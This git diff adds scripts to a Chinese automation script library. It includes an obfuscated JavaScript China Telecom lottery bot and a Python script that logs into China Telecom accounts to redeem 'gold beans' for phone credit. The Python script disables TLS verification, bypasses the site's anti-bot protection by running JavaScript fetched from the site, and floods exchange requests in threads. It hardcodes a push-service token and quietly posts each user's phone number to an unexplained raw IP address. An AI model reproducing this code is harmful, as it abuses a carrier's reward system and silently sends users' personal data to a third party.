"空气"; + const _0x580cdf = { + notify: true + }; + this.log("转盘抽奖: " + _0x420d18, _0x580cdf); + return; + } + case "412": + { + _0x2f6e42 = "抽奖次数已达上限"; + break; + } + case "413": + case "420": + { + _0x2f6e42 = "金豆不足"; + break; + } + default: + { + this.log(": " + JSON.stringify(_0x50d02f)); + _0x2f6e42 = "未知原因"; + break; + } + } + this.log("转盘抽奖失败[" + _0x3d75c1 + "]: " + _0x2f6e42); + } else { + let _0x1e463b = _0x49dfef.get(_0x50d02f, "message", ""); + this.log("转盘抽奖错误[" + _0x301247 + "]: " + _0x1e463b); + } + } catch (_0x3f560e) { + console.log(_0x3f560e); + } + } +async userTask() { + // 创建日志数组来存储该账号的所有日志 + this.logs = []; + + // 添加账号分隔行 + this.logs.push("\n======== 账号[" + this.index + "] 日志 ========"); + + // 修改原有的log方法,改为存储日志 + this.log = (msg, options = {}) => { + // 获取当前时间 + const now = new Date(); + const hours = String(now.getHours()).padStart(2, '0'); + const minutes = String(now.getMinutes()).padStart(2, '0'); + const seconds = String(now.getSeconds()).padStart(2, '0'); + const timestamp = `${hours}:${minutes}:${seconds}`; + + const logMsg = `账号[${this.index}] ${msg}`; + + // 存储日志 + this.logs.push(logMsg); + + // 实时显示日志 + console.log(logMsg); + + // 如果需要通知,则添加到通知字符串 + if(options.notify) { + _0x49dfef.notifyStr.push(logMsg); + } + } + const _0x4d55e5 = { + notify: true + }; + _0x49dfef.log("\n======= 账号[" + this.index + "][" + this.name + "] =======", _0x4d55e5); + + if (!this.load_token() && !(await this.login())) { + return; + } + if (!(await this.get_ticket())) { + return; + } + if (!(await this.get_sign())) { + return; + } + await this.userCoinInfo(); + await this.getLevelRightsList(); + await this.month_jml_preCost(); + await this.userStatusInfo(); + await this.continueSignRecords(); + await this.homepage("hg_qd_zrwzjd"); + await this.getParadiseInfo(); + if (_0x16d3ea) { + await this.userLotteryTask(); + } + await this.userCoinInfo(true); + + // 添加分隔行 + this.logs.push("========== 账号[" + this.index + "] 日志结束 ==========\n"); + + // 标记任务已完成 + this.taskCompleted = true; + } + async userLotteryTask() { + if (!(await this.auth_login())) { + return; + } + await this.queryInfo(); + } +} +!(async () => { + if (!(await _0x1a2249())) { + return; + } + _0x49dfef.read_env(_0x3f433d); + _0xa0ff1b(); + +for (let user of _0x49dfef.userList) { + await user.userTask(); +} + + await _0x49dfef.showmsg(); + + let endTime = Date.now(), + duration = (endTime - _0x49dfef.startTime) / 1000; + console.log(`\n[${_0x49dfef.name}]运行结束,共运行了${duration}秒`); + + process.exit(0); +})().catch(e => console.log(e)).finally(() => _0x49dfef.exitNow()); + +async function _0x1a2249(_0x5dcebe = 0) { + let _0x40b7b = []; + try { + const _0x14929e = { + fn: "auth", + method: "get", + url: _0x100b57, + timeout: 20000 + }; + let { + statusCode: _0xbb1bc5, + result: _0x508782 + } = await _0x3b1630.request(_0x14929e); + if (_0xbb1bc5 != 200) { + _0x5dcebe++ < _0x3c685e && (_0x40b7b = await _0x1a2249(_0x5dcebe)); + return _0x40b7b; + } + if (_0x508782?.["code"] == 0) { + _0x508782 = JSON.parse(_0x508782.data.file.data); + if (_0x508782?.["commonNotify"] && _0x508782.commonNotify.length > 0) { + const _0x1a6c76 = { + notify: true + }; + _0x49dfef.log(_0x508782.commonNotify.join("\n") + "\n", _0x1a6c76); + } + _0x508782?.["commonMsg"] && _0x508782.commonMsg.length > 0 && _0x49dfef.log(_0x508782.commonMsg.join("\n") + "\n"); + if (_0x508782[_0x14f289]) { + let _0x145844 = _0x508782[_0x14f289]; + _0x145844.status == 0 ? _0xf4231c >= _0x145844.version ? (_0x40b7b = [], _0x49dfef.log(_0x145844.msg[_0x145844.status]), _0x49dfef.log(_0x145844.updateMsg), _0x49dfef.log("现在运行的脚本版本是:" + _0xf4231c + ",最新脚本版本:" + _0x145844.latestVersion)) : _0x49dfef.log(_0x145844.versionMsg) : _0x49dfef.log(_0x145844.msg[_0x145844.status]); + } else { + _0x49dfef.log(_0x508782.errorMsg); + } + } else { + _0x5dcebe++ < _0x3c685e && (_0x40b7b = await _0x1a2249(_0x5dcebe)); + } + } catch (_0x458d78) { + _0x49dfef.log(_0x458d78); + } finally { + return _0x40b7b; + } +} +function _0x5370a4(_0x24412c) { + return new class { + constructor(_0x198bc4) { + this.name = _0x198bc4; + this.startTime = Date.now(); + const _0x555858 = { + time: true + }; + this.log("[" + this.name + "]开始运行\n", _0x555858); + this.notifyStr = []; + this.notifyFlag = true; + this.userIdx = 0; + this.userList = []; + this.userCount = 0; + this.default_timestamp_len = 13; + this.default_wait_interval = 1000; + this.default_wait_limit = 3600000; + this.default_wait_ahead = 0; + } + log(_0x25f67c, _0x45847d = {}) { + const _0x82b0fc = { + console: true + }; + Object.assign(_0x82b0fc, _0x45847d); + if (_0x82b0fc.time) { + let _0x58f096 = _0x82b0fc.fmt || "hh:mm:ss"; + _0x25f67c = "[" + this.time(_0x58f096) + "]" + _0x25f67c; + } + if (_0x82b0fc.notify) { + this.notifyStr.push(_0x25f67c); + } + if (_0x82b0fc.console) { + console.log(_0x25f67c); + } + } + get(_0x2ecf4d, _0x5800fb, _0x1ff76e = "") { + let _0x5a663b = _0x1ff76e; + _0x2ecf4d?.["hasOwnProperty"](_0x5800fb) && (_0x5a663b = _0x2ecf4d[_0x5800fb]); + return _0x5a663b; + } + pop(_0x2ae8ec, _0xbb54f6, _0x9c8563 = "") { + let _0x213044 = _0x9c8563; + _0x2ae8ec?.["hasOwnProperty"](_0xbb54f6) && (_0x213044 = _0x2ae8ec[_0xbb54f6], delete _0x2ae8ec[_0xbb54f6]); + return _0x213044; + } + copy(_0x1fbe5b) { + return Object.assign({}, _0x1fbe5b); + } + read_env(_0x412e83) { + let _0x1267c5 = _0x4aec53.map(_0x166c56 => process.env[_0x166c56]); + for (let _0x2b0da2 of _0x1267c5.filter(_0x22b120 => !!_0x22b120)) { + for (let _0x4465a3 of _0x2b0da2.split(_0x1876a7).filter(_0x3c7dca => !!_0x3c7dca)) { + if (this.userList.includes(_0x4465a3)) { + continue; + } + this.userList.push(new _0x412e83(_0x4465a3)); + } + } + this.userCount = this.userList.length; + if (!this.userCount) { + const _0x3d5d5 = { + notify: true + }; + this.log("未找到变量,请检查变量" + _0x4aec53.map(_0x56423f => "[" + _0x56423f + "]").join("或"), _0x3d5d5); + return false; + } + this.log("共找到" + this.userCount + "个账号"); + return true; + } + time(_0x43e381, _0x1822e0 = null) { + let _0x1de2f7 = _0x1822e0 ? new Date(_0x1822e0) : new Date(), + _0x180e96 = { + "M+": _0x1de2f7.getMonth() + 1, + "d+": _0x1de2f7.getDate(), + "h+": _0x1de2f7.getHours(), + "m+": _0x1de2f7.getMinutes(), + "s+": _0x1de2f7.getSeconds(), + "q+": Math.floor((_0x1de2f7.getMonth() + 3) / 3), + S: this.padStr(_0x1de2f7.getMilliseconds(), 3) + }; + /(y+)/.test(_0x43e381) && (_0x43e381 = _0x43e381.replace(RegExp.$1, (_0x1de2f7.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let _0x2cfbd9 in _0x180e96) new RegExp("(" + _0x2cfbd9 + ")").test(_0x43e381) && (_0x43e381 = _0x43e381.replace(RegExp.$1, 1 == RegExp.$1.length ? _0x180e96[_0x2cfbd9] : ("00" + _0x180e96[_0x2cfbd9]).substr(("" + _0x180e96[_0x2cfbd9]).length))); + return _0x43e381; + } + async showmsg() { + if (!this.notifyFlag) { + return; + } + if (!this.notifyStr.length) { + return; + } + var _0x2264e = require("./sendNotify"); + this.log("\n============== 推送 =============="); + await _0x2264e.sendNotify(this.name, this.notifyStr.join("\n")); + } + padStr(_0x397014, _0x4fcca2, _0x1abd3c = {}) { + let _0x10354b = _0x1abd3c.padding || "0", + _0x39ed4e = _0x1abd3c.mode || "l", + _0x3b33af = String(_0x397014), + _0x26e87b = _0x4fcca2 > _0x3b33af.length ? _0x4fcca2 - _0x3b33af.length : 0, + _0x3bb60f = ""; + for (let _0x30ac41 = 0; _0x30ac41 < _0x26e87b; _0x30ac41++) { + _0x3bb60f += _0x10354b; + } + _0x39ed4e == "r" ? _0x3b33af = _0x3b33af + _0x3bb60f : _0x3b33af = _0x3bb60f + _0x3b33af; + return _0x3b33af; + } + json2str(_0x123637, _0x402c90, _0x46e6c5 = false) { + let _0x75d972 = []; + for (let _0x2a0f42 of Object.keys(_0x123637).sort()) { + let _0x2bc1ca = _0x123637[_0x2a0f42]; + if (_0x2bc1ca && _0x46e6c5) { + _0x2bc1ca = encodeURIComponent(_0x2bc1ca); + } + _0x75d972.push(_0x2a0f42 + "=" + _0x2bc1ca); + } + return _0x75d972.join(_0x402c90); + } + str2json(_0x32e5fc, _0x43a064 = false) { + let _0x4cd4ad = {}; + for (let _0x520529 of _0x32e5fc.split("&")) { + if (!_0x520529) { + continue; + } + let _0x1dc4e6 = _0x520529.indexOf("="); + if (_0x1dc4e6 == -1) { + continue; + } + let _0x4998d0 = _0x520529.substr(0, _0x1dc4e6), + _0x3ac012 = _0x520529.substr(_0x1dc4e6 + 1); + if (_0x43a064) { + _0x3ac012 = decodeURIComponent(_0x3ac012); + } + _0x4cd4ad[_0x4998d0] = _0x3ac012; + } + return _0x4cd4ad; + } + randomPattern(_0x369f7e, _0x4006d8 = "abcdef0123456789") { + let _0x3140cf = ""; + for (let _0x8e9314 of _0x369f7e) { + if (_0x8e9314 == "x") { + _0x3140cf += _0x4006d8.charAt(Math.floor(Math.random() * _0x4006d8.length)); + } else { + _0x8e9314 == "X" ? _0x3140cf += _0x4006d8.charAt(Math.floor(Math.random() * _0x4006d8.length)).toUpperCase() : _0x3140cf += _0x8e9314; + } + } + return _0x3140cf; + } + randomUuid() { + return this.randomPattern("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"); + } + randomString(_0x33254d, _0x5f4306 = "abcdef0123456789") { + let _0x440af6 = ""; + for (let _0x475f61 = 0; _0x475f61 < _0x33254d; _0x475f61++) { + _0x440af6 += _0x5f4306.charAt(Math.floor(Math.random() * _0x5f4306.length)); + } + return _0x440af6; + } + randomList(_0x4242c3) { + let _0x35c76e = Math.floor(Math.random() * _0x4242c3.length); + return _0x4242c3[_0x35c76e]; + } + wait(_0x1dc9b5) { + return new Promise(_0x54d822 => setTimeout(_0x54d822, _0x1dc9b5)); + } + async exitNow() { + await this.showmsg(); + let _0x4210ea = Date.now(), + _0x52abd1 = (_0x4210ea - this.startTime) / 1000; + this.log(""); + const _0x4bb8d6 = { + time: true + }; + this.log("[" + this.name + "]运行结束,共运行了" + _0x52abd1 + "秒", _0x4bb8d6); + process.exit(0); + } + normalize_time(_0x2e4fd9, _0x6f3e21 = {}) { + let _0x2a3018 = _0x6f3e21.len || this.default_timestamp_len; + _0x2e4fd9 = _0x2e4fd9.toString(); + let _0x54eeae = _0x2e4fd9.length; + while (_0x54eeae < _0x2a3018) { + _0x2e4fd9 += "0"; + } + _0x54eeae > _0x2a3018 && (_0x2e4fd9 = _0x2e4fd9.slice(0, 13)); + return parseInt(_0x2e4fd9); + } + async wait_until(_0x3145a4, _0x3938d8 = {}) { + let _0x155654 = _0x3938d8.logger || this, + _0x808a8f = _0x3938d8.interval || this.default_wait_interval, + _0x1929a1 = _0x3938d8.limit || this.default_wait_limit, + _0x4fa992 = _0x3938d8.ahead || this.default_wait_ahead; + if (typeof _0x3145a4 == "string" && _0x3145a4.includes(":")) { + if (_0x3145a4.includes("-")) { + _0x3145a4 = new Date(_0x3145a4).getTime(); + } else { + let _0xbcf425 = this.time("yyyy-MM-dd "); + _0x3145a4 = new Date(_0xbcf425 + _0x3145a4).getTime(); + } + } + let _0x44ad11 = this.normalize_time(_0x3145a4) - _0x4fa992, + _0x213d55 = this.time("hh:mm:ss.S", _0x44ad11), + _0x64f4d7 = Date.now(); + _0x64f4d7 > _0x44ad11 && (_0x44ad11 += 86400000); + let _0x539462 = _0x44ad11 - _0x64f4d7; + if (_0x539462 > _0x1929a1) { + const _0x533822 = { + time: true + }; + _0x155654.log("离目标时间[" + _0x213d55 + "]大于" + _0x1929a1 / 1000 + "秒,不等待", _0x533822); + } else { + const _0x436e20 = { + time: true + }; + _0x155654.log("离目标时间[" + _0x213d55 + "]还有" + _0x539462 / 1000 + "秒,开始等待", _0x436e20); + while (_0x539462 > 0) { + let _0x5a2288 = Math.min(_0x539462, _0x808a8f); + await this.wait(_0x5a2288); + _0x64f4d7 = Date.now(); + _0x539462 = _0x44ad11 - _0x64f4d7; + } + const _0x179ceb = { + time: true + }; + _0x155654.log("已完成等待", _0x179ceb); + } + } + async wait_gap_interval(_0x5caf3a, _0x373b08) { + let _0x5561b7 = Date.now() - _0x5caf3a; + _0x5561b7 < _0x373b08 && (await this.wait(_0x373b08 - _0x5561b7)); + } + }(_0x24412c); +} \ No newline at end of file diff --git a/脚本库/web版/账密/电信金豆换话费/2025-06-28_电信金豆换话费_7d539458.py b/脚本库/web版/账密/电信金豆换话费/2025-06-28_电信金豆换话费_7d539458.py new file mode 100644 index 0000000..8eea185 --- /dev/null +++ b/脚本库/web版/账密/电信金豆换话费/2025-06-28_电信金豆换话费_7d539458.py @@ -0,0 +1,520 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%94%B5%E4%BF%A1%E9%87%91%E8%B1%86%E6%8D%A2%E8%AF%9D%E8%B4%B9.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%94%B5%E4%BF%A1%E9%87%91%E8%B1%86%E6%8D%A2%E8%AF%9D%E8%B4%B9.py +# Repo: jdqlscript/toulu +# Path: 电信金豆换话费.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 7d5394589ec768e19394fab8d9bc08c50942d0c9889f7899e01b59f1ed4651be +# Category: web版/账密 +# Evidence: web/H5关键词 + username/password/login + +#TL库:https://github.com/3288588344/toulu.git +#tg频道:https://t.me/TLtoulu +#QQ频道:https://pd.qq.com/s/672fku8ge +#微信机器人:kckl6688 +#公众号:哆啦A梦的藏宝箱 + +import requests +import re +import time +import json +import random +import datetime +import base64 +import threading +import ssl +import execjs +import os +import sys + +from bs4 import BeautifulSoup + +from Crypto.PublicKey import RSA +from Crypto.Cipher import PKCS1_v1_5 +from Crypto.Cipher import DES3 +from Crypto.Util.Padding import pad, unpad +from Crypto.Util.strxor import strxor +from Crypto.Cipher import AES +from http import cookiejar # Python 2: import cookielib as cookiejar +from requests.adapters import HTTPAdapter +from requests.packages.urllib3.util.ssl_ import create_urllib3_context + + +class BlockAll(cookiejar.CookiePolicy): + return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False + netscape = True + rfc2965 = hide_cookie2 = False + +def printn(m): + print(f'\n{m}') +ORIGIN_CIPHERS = ('DEFAULT@SECLEVEL=1') + +ip_list = [] +class DESAdapter(HTTPAdapter): + def __init__(self, *args, **kwargs): + """ + A TransportAdapter that re-enables 3DES support in Requests. + """ + CIPHERS = ORIGIN_CIPHERS.split(':') + random.shuffle(CIPHERS) + CIPHERS = ':'.join(CIPHERS) + self.CIPHERS = CIPHERS + ':!aNULL:!eNULL:!MD5' + super().__init__(*args, **kwargs) + + def init_poolmanager(self, *args, **kwargs): + context = create_urllib3_context(ciphers=self.CIPHERS) + kwargs['ssl_context'] = context + return super(DESAdapter, self).init_poolmanager(*args, **kwargs) + + def proxy_manager_for(self, *args, **kwargs): + context = create_urllib3_context(ciphers=self.CIPHERS) + kwargs['ssl_context'] = context + return super(DESAdapter, self).proxy_manager_for(*args, **kwargs) + + +requests.packages.urllib3.disable_warnings() +ssl_context = ssl.create_default_context() +ssl_context.check_hostname = False +ssl_context.verify_mode = ssl.CERT_NONE +ssl_context.set_ciphers('DEFAULT@SECLEVEL=0') +ss = requests.session() +ss.ssl=ssl_context +ss.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","Referer":"https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"} +ss.mount('https://', DESAdapter()) +yc = 0.1 +wt = 0 +kswt = -3 +yf = datetime.datetime.now().strftime("%Y%m") + + +jp = {"9":{},"12":{},"13":{},"23":{}} + + +try: + with open('电信金豆换话费.log') as fr: + dhjl = json.load(fr) +except: + dhjl = {} +if yf not in dhjl: + dhjl[yf] = {} + + + + +wxp={} +errcode = { + "0":"兑换成功", + "412":"兑换次数已达上限", + "413":"商品已兑完", + "420":"未知错误", + "410":"该活动已失效~", + "Y0001":"当前等级不足,去升级兑当前话费", + "Y0002":"使用翼相连网络600分钟或连接并拓展网络500分钟可兑换此奖品", + "Y0003":"使用翼相连共享流量400M或共享WIFI:2GB可兑换此奖品", + "Y0004":"使用翼相连共享流量2GB可兑换此奖品", + "Y0005":"当前等级不足,去升级兑当前话费", + "E0001":"您的网龄不足10年,暂不能兑换" +} + + + + + + + + + + +#加密参数 +key = b'1234567`90koiuyhgtfrdews' +iv = 8 * b'\0' + +public_key_b64 = '''-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB +-----END PUBLIC KEY-----''' + +public_key_data = '''-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB +-----END PUBLIC KEY-----''' + + +def t(h): + date = datetime.datetime.now() + date_zero = datetime.datetime.now().replace(year=date.year, month=date.month, day=date.day, hour=h, minute=59, second=59) + date_zero_time = int(time.mktime(date_zero.timetuple())) + return date_zero_time + + + +def encrypt(text): + cipher = DES3.new(key, DES3.MODE_CBC, iv) + ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size)) + return ciphertext.hex() + +def decrypt(text): + ciphertext = bytes.fromhex(text) + cipher = DES3.new(key, DES3.MODE_CBC, iv) + plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size) + return plaintext.decode() + + + +def b64(plaintext): + public_key = RSA.import_key(public_key_b64) + cipher = PKCS1_v1_5.new(public_key) + ciphertext = cipher.encrypt(plaintext.encode()) + return base64.b64encode(ciphertext).decode() + +def encrypt_para(plaintext): + public_key = RSA.import_key(public_key_data) + cipher = PKCS1_v1_5.new(public_key) + ciphertext = cipher.encrypt(plaintext.encode()) + return ciphertext.hex() + + +def encode_phone(text): + encoded_chars = [] + for char in text: + encoded_chars.append(chr(ord(char) + 2)) + return ''.join(encoded_chars) + +def ophone(t): + key = b'34d7cb0bcdf07523' + utf8_key = key.decode('utf-8') + utf8_t = t.encode('utf-8') + cipher = AES.new(key, AES.MODE_ECB) + ciphertext = cipher.encrypt(pad(utf8_t, AES.block_size)) + return ciphertext.hex() + +def send(uid,content): + r = requests.post('https://wxpusher.zjiecode.com/api/send/message',json={"appToken":"AT_3hr0wdZn5QzPNBbpTHFXawoDIsSUmPkN","content":content,"contentType":1,"uids":[uid]}).json() + return r + + +def userLoginNormal(phone,password): + alphabet = 'abcdef0123456789' + uuid = [''.join(random.sample(alphabet, 8)),''.join(random.sample(alphabet, 4)),'4'+''.join(random.sample(alphabet, 3)),''.join(random.sample(alphabet, 4)),''.join(random.sample(alphabet, 12))] + timestamp=datetime.datetime.now().strftime("%Y%m%d%H%M%S") + loginAuthCipherAsymmertric = 'iPhone 14 15.4.' + uuid[0] + uuid[1] + phone + timestamp + password[:6] + '0$$$0.' + + r = ss.post('https://appgologin.189.cn:9031/login/client/userLoginNormal',json={"headerInfos": {"code": "userLoginNormal", "timestamp": timestamp, "broadAccount": "", "broadToken": "", "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#", "shopId": "20002", "source": "110003", "sourcePassword": "Sid98s", "token": "", "userLoginName": phone}, "content": {"attach": "test", "fieldData": {"loginType": "4", "accountType": "", "loginAuthCipherAsymmertric": b64(loginAuthCipherAsymmertric), "deviceUid": uuid[0] + uuid[1] + uuid[2], "phoneNum": encode_phone(phone), "isChinatelecom": "0", "systemVersion": "15.4.0", "authentication": password}}}).json() + + + + l = r['responseData']['data']['loginSuccessResult'] + + if l: + load_token[phone] = l + with open(load_token_file, 'w') as f: + json.dump(load_token, f) + ticket = get_ticket(phone,l['userId'],l['token']) + return ticket + + return False +def get_ticket(phone,userId,token): + r = ss.post('https://appgologin.189.cn:9031/map/clientXML',data='getSingle'+datetime.datetime.now().strftime("%Y%m%d%H%M%S")+'#9.6.1#channel50#iPhone 14 Pro Max#20002110003Sid98s'+token+''+phone+'test'+encrypt(userId)+'4a6862274835b451',headers={'user-agent': 'CtClient;10.4.1;Android;13;22081212C;NTQzNzgx!#!MTgwNTg1'}) + + #printn(phone, '获取ticket', re.findall('(.*?)',r.text)[0]) + + tk = re.findall('(.*?)',r.text) + if len(tk) == 0: + return False + + + return decrypt(tk[0]) + + + +def queryInfo(phone,s): + global rs + a = 1 + while a < 10: + if rs: + bd = js.call('main').split('=') + ck[bd[0]] = bd[1] + + r = s.get('https://wapact.189.cn:9001/gateway/golden/api/queryInfo',cookies=ck).json() + + try: + printn(f'{phone} 金豆余额 {r["biz"]["amountTotal"]}') + amountTotal= r["biz"]["amountTotal"] + except: + amountTotal = 0 + if amountTotal< 3000: + if rs == 1: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + + + res = s.post('http://wapact.189.cn:9000/gateway/stand/detail/exchange',json={"activityId":jdaid},cookies=ck).text + + if '$_ts=window' in res: + first_request() + rs = 1 + + time.sleep(3) + else: + return r + a += 1 + + + return r + + +def exchange(phone,s,title,aid, uid): + + try: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + r = s.post('https://wapact.189.cn:9001/gateway/stand/detailNew/exchange',json={"activityId":aid},cookies=ck) + printn(f"响应码: {r.status_code}") + + if '$_ts=window' in r.text: + + first_request(r.text) + return + r = r.json() + + if r["code"] == 0: + if r["biz"] != {} and r["biz"]["resultCode"] in errcode: + #printn(str(datetime.datetime.now())[11:22], phone, title,errcode[r["biz"]["resultCode"]]) + printn(f'{str(datetime.datetime.now())[11:22]} {phone} {title} {errcode[r["biz"]["resultCode"]]}') + + + if r["biz"]["resultCode"] in ["0","412"]: + if r["biz"]["resultCode"] == "0": + msg = phone+":"+title+"兑换成功" + requests.post('http://106.53.145.222:81/work.php', json={"msgtype": "text","msg": msg}) + send(uid, msg) + if phone not in dhjl[yf][title]: + dhjl[yf][title] += "#"+phone + with open('电信金豆换话费.log', 'w') as f: + json.dump(dhjl, f, ensure_ascii=False) + + + else: + #printn(str(datetime.datetime.now())[11:22], phone, r["message"]) + printn(f'{str(datetime.datetime.now())[11:22]} {phone} {r}') + + except Exception as e: + #print(e) + pass + + +def dh(phone,s,title,aid,wt, uid): + + while wt > time.time(): + pass + + printn(f"{str(datetime.datetime.now())[11:22]} {phone} {title} 开始兑换") + + if rs: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + for cs in range(cfcs): + threading.Thread(target=exchange,args=(phone,s,title,aid, uid)).start() + #time.sleep(5) + + + +def lottery(s): + for cishu in range(3): + try: + if rs: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + else: + cookie = {} + r = s.post('https://wapact.189.cn:9001/gateway/golden/api/lottery',json={"activityId":"6384b49b1e44396da4f1e4a3"},cookies=ck) + except: + pass + time.sleep(3) + + +def ks(phone, ticket, uid): + global wt + + wxp[phone] = uid + s = requests.session() + s.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","Referer":"https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"} + s.cookies.set_policy(BlockAll()) + s.mount('https://', DESAdapter()) + s.timeout = 30 + if rs: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + + + login = s.post('https://wapact.189.cn:9001/unified/user/login',json={"ticket":ticket,"backUrl":"https%3A%2F%2Fwapact.189.cn%3A9001","platformCode":"P201010301","loginType":2}, cookies=ck).json() + if login['code'] == 0: + printn(phone+" 获取token成功") + s.headers["Authorization"] = "Bearer " + login["biz"]["token"] + + queryInfo(phone,s) + + + if rs: + bd = js.call('main').split('=') + ck [bd[0]] = bd[1] + + queryBigDataAppGetOrInfo = s.get('https://wapact.189.cn:9001/gateway/golden/api/queryBigDataAppGetOrInfo?floorType=0&userType=1&page&1&order=2&tabOrder=',cookies=ck).json() + #printn(queryBigDataAppGetOrInfo) + for i in queryBigDataAppGetOrInfo["biz"]["ExchangeGoodslist"]: + if '话费' not in i["title"]:continue + + if '0.5元' in i["title"] or '5元' in i["title"]: + jp["9"][i["title"]] = i["id"] + elif '1元' in i["title"] or '10元' in i["title"]: + jp["13"][i["title"]] = i["id"] + else: + jp["12"][i["title"]] = i["id"] + + + + h = datetime.datetime.now().hour + if 11 > h > 1: + h = 9 + + elif 23 > h > 1: + h = 13 + + else: + h = 23 + + if len(sys.argv) ==2: + h = int(sys.argv[1]) + #h=23 + d = jp[str(h)] + + wt = t(h) + kswt + + if jp["12"] != {}: + d.update(jp["12"]) + wt = 0 + + for di in d: + #if '5' in di: + if di not in dhjl[yf]: + dhjl[yf][di] = "" + if phone in dhjl[yf][di] : + printn(f"{phone} {di} 已兑换") + + else: + + printn(f"{phone} {di}") + if wt - time.time() > 20 * 60: + print("等待时间超过20分钟") + return + + + threading.Thread(target=dh,args=(phone,s,di,d[di],wt, uid)).start() + + + else: + + printn(f"{phone} 获取token {login['message']}") + + + +def first_request(res=''): + global js, fw + url = 'https://wapact.189.cn:9001/gateway/stand/detail/exchange' + if res == '': + response = ss.get(url) + res = response.text + soup = BeautifulSoup(res, 'html.parser') + scripts = soup.find_all('script') + for script in scripts: + if 'src' in str(script): + rsurl = re.findall('src="([^"]+)"', str(script))[0] + + if '$_ts=window' in script.get_text(): + ts_code = script.get_text() + + + urls = url.split('/') + rsurl = urls[0] + '//' + urls[2] + rsurl + #print(rsurl) + ts_code += ss.get(rsurl).text + content_code = soup.find_all('meta')[1].get('content') + with open("rushu.js") as f: + js_code_ym = f.read() + js_code = js_code_ym.replace('content_code', content_code).replace("'ts_code'", ts_code) + js = execjs.compile(js_code) + + for cookie in ss.cookies: + ck[cookie.name] = cookie.value + return content_code, ts_code, ck + + +def get_announcement(): + """ + 获取公告信息 + """ + external_url = 'https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt' + try: + response = requests.get(external_url) + if response.status_code == 200: + print( response.text) + print("公告获取成功,开始执行签到请求...") + else: + print(f"获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}") + + +def main(): + global wt,rs + + get_announcement() + + r = ss.get('https://wapact.189.cn:9001/gateway/stand/detailNew/exchange') + if '$_ts=window' in r.text: + rs = 1 + print("瑞数加密已开启") + first_request() + else: + print("瑞数加密已关闭") + rs = 0 + if os.environ.get('jdhf')!= None: + chinaTelecomAccount = os.environ.get('jdhf') + else: + chinaTelecomAccount = jdhf + + for i in chinaTelecomAccount.split('&'): + + i = i.split('@') + phone = i[0] + password = i[1] + uid = i[-1] + ticket = False + + #ticket = get_userTicket(phone) + + if phone in load_token: + printn(f'{phone} 使用缓存登录') + ticket = get_ticket(phone,load_token[phone]['userId'],load_token[phone]['token']) + + if ticket == False: + printn(f'{phone} 使用密码登录') + ticket = userLoginNormal(phone,password) + + if ticket: + threading.Thread(target=ks,args=(phone, ticket, uid)).start() + + time.sleep(1) + else: + printn(f'{phone} 登录失败') + + +jdhf = "" +cfcs = 5 +jdaid = '60dd79533dc03d3c76bdde30' +ck = {} +load_token_file = 'chinaTelecom_cache.json' +try: + with open(load_token_file, 'r') as f: + load_token = json.load(f) +except: + load_token = {} + +main() diff --git a/脚本库/web版/账密/电影票房排行/2025-08-25_piaofang_acba8c0f.js b/脚本库/web版/账密/电影票房排行/2025-08-25_piaofang_acba8c0f.js new file mode 100644 index 0000000..9de4ea1 --- /dev/null +++ b/脚本库/web版/账密/电影票房排行/2025-08-25_piaofang_acba8c0f.js @@ -0,0 +1,630 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/piaofang.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/piaofang.js +// # Repo: imoki/sign_script +// # Path: polymerization/piaofang.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: acba8c0f835718cfa25d3cbae77090cd8967c968d9c063417cd1daef66d63b94 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "电影票房排行" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:piaofang + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "piaofang"; // 分配置表名称, (修改这里) +var pushHeader = "【电影票房排行】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 